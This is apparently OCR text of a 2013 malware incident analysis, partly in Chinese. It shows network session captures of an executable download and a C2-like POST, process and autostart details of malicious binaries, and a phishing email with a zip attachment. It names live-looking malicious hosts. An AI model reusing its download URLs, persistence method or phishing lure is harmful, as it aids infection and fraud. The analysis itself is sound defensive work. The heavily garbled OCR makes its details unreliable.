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NetWitness Reconstruction for session ID: 30 ( Source 140.117 - 1054, Target 216.157.85.173 : 443
Time 11/13/ 3154241to11/13/2013 15:42:46 Packet Size 468,434 bytes Payload Size 443,510 bytes
Protocol 2048 43 Flags Keep Assembled AppMeta NetworkMeta Packet Count 446
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NetWitness Reconstruction for session 1D

115 (Source 140.117
Time 11/13/2013 15:44:28 to 11/13/2013 15:44:44  Packet Size 175,431 bytes

1070, Target 216.157.85.173 : 80 )
Payload Size 165,549 bytes

Protocol 2048/6/80 Flags Keep Assembled AppMeta NetworkMeta Packet Count 176

GET /images/heap.exe HTTP/1.1 I A
hccept: ¥/F
Accept-Language: zh-TW
User-fpgent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT &.1; WOW64; Trident/4.0
; SLCC2; NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; InfoPath.23}
Host: khandelwalschool.org
Connection: Close
HTTP/1.1 200 OK
Date: Wed, 13 Nov 2013 07:44:24 GMT
Server: Apache/2.2.25 (Unix) mod_ssl/2.2.25 OpenSSL/1.0.0-fips mod_jk/1.2.27 mod_
anth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 V)
Last-Modified: Tue, 12 Nov 2013 13:28:41 GMT
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Seauity | Environment | Jab | Strings |
Image | Performance | PerformanceGraph | GPUGraph | Thieads | Teee
Image File I
Version:  nja
i Windows ES#EH |il Build Time: Fri Apr 02 11:22:20 2004
Fath:
& |
Command ine:
oy
Windonws B KRS SRS 2L FRTRA A SBE b soovwe AOREA 0% - Current drestory:
ZEm C:\Users\whoami\AppData Roaring}
SHTHE) ES:) Autostart Location: |
BiEE:  C ozignowe. 2xe fea
Eas fmawa FEIS LR g Parent: <Non-existent Process>(596)
, . User: WIN-2V93GG5211D \whoami
AR » U A LA FER ) Started: T4 03:42:34 2013f11/1 Image: 32-bit
AR » ISR R (R R R R R Comment: |
BT REEER)D) Data Execution Prevention (DEP) Status: DEP
Address Space Load Randomization:  Disabled




1. %8 procexp ¥ 4 f F3% 425" Fguowa.exe ; #h4p B T3l » 5% % >0 FE R

P 4% C:\Users\XXX\AppData & T > 1 ¢ B » 3Iq S F s p d 3 7 o
Tguowa.exe; € B 451 (7 e fe il s ds 17 > ¢ B fr & 3 =40 TCP port

8485 {= UDP port 2990 & &4z & £ F it o

, |

| Image | Performance I Performance Graph I GPU Graph I Threads | TCR/IP |Secunt5-I I Environment I Shings|

[] Resolve addresses

Protocol  Locel Address Remote Address  State
UDPVe  [0:0:0:0:0:0:0:0]:1731 #:*

TCPVE  [0:0:0:0:0:0:0:0]:1252 [0:0:0:0:0:0:0:0]:0 LISTENING
UDP 0.0.0.0:2990 *ok

I TCP 0.0.0.0:8485 0.0.0.0:0 LISTENING

eI 0 AR RS 155 L4p & IP 5438 @tcp port 8485
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Version: nfa
Build Time: Fri Nov 15 15:33:04 2013

Path:
Ci\Users\whoamilturyfeswavag exe
Command line:
"C:Wsers\whoami\turyfeswavag. exe”™
Current directory:
Ci\Windows\System32)
Autostart Location:
HKCU\Software \Microsoft\Windows \CurrentVersion\Run\turyfeswavag
Parent:  explorer.exe(1576) [
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Build Time: Fri Aug 27 04:12:14 2004

Path:
Cr\Users\whoami\dulegoozlegy .exe

Command line:

"Ci\Users\whoami'dulegeozlegy . exe™

Current directory:

C:r\Windows\System32Y

Autostart Location:

HECU\Software \Microsoft\windows\Currentversion \Runidulegcoziegy

Parent: explorer.exe{1918) [rrr—
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& HKIM\SOFTWARE\Wow6432Node\Microsoff\Active Setup\Installed Components 2013/8/1 B 10:59

¥ &5 Google Chrome Google Chro... Google Inc. c:\program files (x86)\google\chrome\application\31... 2013/11/14 T4 06:21
¥ (@ Microsoft Wi.. Windows Mail Microsoft ... c:\program files (x86)\windows mail\winmail.exe 2009/7/14 _E5 07:42
o ]']KCMTDEOﬂ\WmeWS\CuHEﬂtVEIEIOD\Run 2013/11/15 4 05:14
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Path: l
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Command line:
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Current directory: i
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Process Explorer - Sysint i s.com -2V93GG5;

File Options View Process Find Users Help

BREEODE 5 8w al—"dF IH

| Process CPU| Private Bytes [Workine, PL.. Description Company Name 2
[1]sass.exe 300K 6,148 K 528 Local Security Au... Microsoft Corporation
illsm.exe 2,080K 2,120K 3536

B Rcsrss.exe 0.74 6.602K 13736 K 420
EEconhost.exe <001 1696 K 7320 K 3060 EFESTREFH  Microsoft Corporation
Elwinlogon.exe 2540K  2,820K 468
E 5 explorer.exe 121 75,712 K 95,464 K 1916 Windows f£2£4% .. Microsoft Corporation
@vmtoolsd.exe 0.16 7312K 9,124 K 2152 VMware Tools C... VMware, Inc.
i ouowa.exe 0.28 15468 K 8.596 K 2176
ElEldulegcozlegy.exe 80,196 K 47672 K 2184
[=svchost.exe 0.38 26588 K 8,628 K 1808 Windows Service... Microsoft Corporation
[=svchost.exe 042 26,656 K 8,696 K 3436 Windows Service... Microsoft Corporation
[=svchost.exe 0.38 26636 K 8.664 K 1764 Windows Service... Microsoft Corporation
[ Isvchost.exe 0.28 26988 K 9,016 K 2660 Windows Service... Microsoft Corporation
= Wsvchost.exe 035 4212K 7,184 K 908 Windows Service... Microsoft Corporation
@ xulrunner.exe 4.05 43,364 K 47,092 K 3836 Mozilla Foundation
Fturyfeswavag.exe 2524K 2206 K 2192 -
= ¥ procexp.exe < 1 | 3

CPU Usage: 26.18%  Commit Charge: 60.56% Processes: 53 Physical Usage: 63.83%

Resolve addresses

Prot... Local Address Remote Address State

TCP 140117  © =39167 5.9.122.172:http FIN WAIT1
TCP 140117  © =39144 173.231.139.57:http FIN_WAIT1
TCP 140117 ¢ =30143 85.158.207.109:http FIN WAIT1
TCP 140117  © =30140 208.113.187.143:http  FIN_WAIT1
TCP 140117  © =39120 67.18.185.98:http FIN WAIT1
TCP 140117  © =38863 80.161.181.123:80 FIN WAIT1
TCP 140117  r =38862 46.30.212.230:80 FIN WAIT1
TCP 140.117  © 38858 217.199.187.58:80 FIN_WAIT1
TCP 140117  © =30109 222.239.78.13%:http FIN WAIT1

I | 1mage | Performance | Performance Graph | GPU Graph | Threads | TCP/IP | security | Environment | Strings |

Resolve addresses

Prot... Local Address Remote Address

TCP
TCP

127.00.1:1564
127.00.1:1563

127.00.1:1563
127.0.0.1:1564

State

ESTABLISHED
ESTABLISHED
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NetWitness Reconstruction for session ID: 93169 ( Source 82.41.185.165 : 8821, Target 140.117 12990)

Time11/14/2013 21:20:41 to 11/15/2013 0:28:23 Packet Size 7,342 bytes Payload Size 6,376 bytes
Protocol 2048/17/5190 Flags Keep Assembled AppMeta NetworkMeta Packet Count 23
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NetWitness Reconstruction for session ID: 536 ( Source 140.117. - 6858, Target 88.208.252.218 - 80)

Time 12/10/201314:34421t012/10/2013 14:34:43 Packet Size 1,155 bytes Payload Size 573 bytes
Protocol 2048/6/80 Flags Keep Assembled AppMeta NetworkMeta Packet Count 10

POST / HITP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 54

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; §V1)
Host: euroshipsupplies.com

Connection: Keep-Alive

Cache-Control: no-cache

170587 ¢ 048 SRMeOROE 0 O i a3 O

HITP/1.1 200 CK

Server: nginx
Date: Tue, 10 Dec 2013 06:34:52 QNT
Content-Type: text/html

R
Transfer-Encoding: chunked E
Connection: close S

P
67 0
<p>Euroship is current down for maintenance....</p><p>Page views: 2,558</p><p>IP: 2'
140.117. </p>
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NetWitness Reconstructi r 8 { 5 F 124552, Talget 209.181.247.105 :
Time 11/ 6 ets byte: Payloadﬁlze

Protocol

From: "paymentmailer@barnet.gov.uk” <paymentmailer@barnet.gov.uk>

To: senyytew5944@40s.com

Subject: Barnet Homes Remittance Advice - senyytew5 944@4 0s.com
Date: Fri, 15 Nov 2013 17:43:29 +0800
more

BH_Remittance_Advice.zip

his email and any attachments to it are intended solely for the individual to whom it is addressed. It may contain sensitive or
confidential material and should be handled accordingly. However, it is recognised that, as an intended recipient of this
email, you may wish to share it with those who have a legitimate interest in the contents.

If you have received this email in error and you are not the intended recipient you must not disclose, distribute, copy or print
any of the information contained or attached within it, all copies must be deleted from your system. Please notify the sender
immediately.
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